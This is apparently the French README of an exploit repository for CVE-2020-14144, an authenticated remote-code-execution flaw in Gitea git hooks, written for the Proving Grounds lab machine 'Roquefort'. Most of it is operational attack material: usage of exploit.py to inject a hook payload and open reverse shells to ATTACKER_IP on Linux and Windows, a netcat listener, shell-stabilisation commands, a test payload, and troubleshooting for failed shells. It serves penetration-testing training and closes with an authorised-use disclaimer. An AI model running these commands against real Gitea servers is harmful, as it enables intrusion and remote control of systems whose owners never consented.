
Les versions 1.1.0 à 1.12.5 de Gitea permettent aux utilisateurs authentifiés disposant de la permission « Peut créer des hooks git » d'injecter des commandes shell arbitraires dans les hooks post-receive. Pousser un commit déclenche le hook et exécute la charge utile sur le serveur.
OffsecProvingGrounds Pratique — Article sur la machine Roquefort & POC
| Élément | Détail |
|---|
| Machine | Roquefort (Proving Grounds Pratique) |
| OS | Linux |
| Version Gitea | 1.7.5 |
| CVE | CVE-2020-14144 |
| Vecteur | RCE authentifié via Git Hooks |
| Shell utilisateur | chloe |
Les versions de Gitea 1.1.0 → 1.12.5 permettent aux utilisateurs authentifiés disposant de la permission « Peut créer des hooks git » d'injecter des commandes shell arbitraires dans les hooks post-receive. Pousser un commit déclenche le hook et exécute la charge utile sur le serveur.
# Cible Linux — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Cible Windows — reverse shell PowerShell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
Voir MANUAL.md pour le guide d'exploitation pas à pas.
.
├── README.md # Ce fichier
├── MANUAL.md # Guide d'exploitation manuel (Linux + Windows)
└── exploit.py # Script d'exploitation automatisé
requests (pip install requests)git installé sur la machine attaquanteusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — RCE authentifié Gitea via Git Hooks (CVE-2020-14144)
arguments obligatoires:
-t, --target URL cible Gitea (ex: http://192.168.x.x:3000)
-u, --username Nom d'utilisateur Gitea
-p, --password Mot de passe Gitea
-I, --rev-ip IP de l'écouteur attaquant
-P, --rev-port Port de l'écouteur attaquant
arguments optionnels:
--os OS cible : linux (par défaut) ou windows
--repo Nom du dépôt à créer (par défaut : exploit)
-f, --payload-file Fichier de script shell personnalisé
-v, --verbose Sortie verbose
# 1) Démarrer l'écouteur
nc -lvnp 4444
# 2) Exécuter l'exploit (cible Linux)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Exécuter l'exploit (cible Windows)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Fichier de charge utile personnalisé
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
Après avoir récupéré le reverse shell :
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| Problème | Solution |
|---|---|
fatal: dubious ownership | Cloner depuis ~ au lieu de dossiers partagés, ou exécuter git config --global --add safe.directory '*' |
| Aucune connexion reçue | Vérifier l'IP de l'attaquant, le pare-feu, confirmer que les deux machines sont sur le même sous-réseau |
| Le hook se déclenche mais pas de shell | Tester d'abord avec la charge utile touch /tmp/pwned — si le fichier apparaît, le reverse shell est bloqué |
| Permission refusée sur les hooks | L'utilisateur n'a pas les permissions de hook — nécessite un administrateur ou le privilège « Peut créer des hooks git » |
| Conflit de port sur 3000 | Gitea utilise 3000 — utiliser un port différent comme 4444 pour votre écouteur |
Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez-le de manière responsable.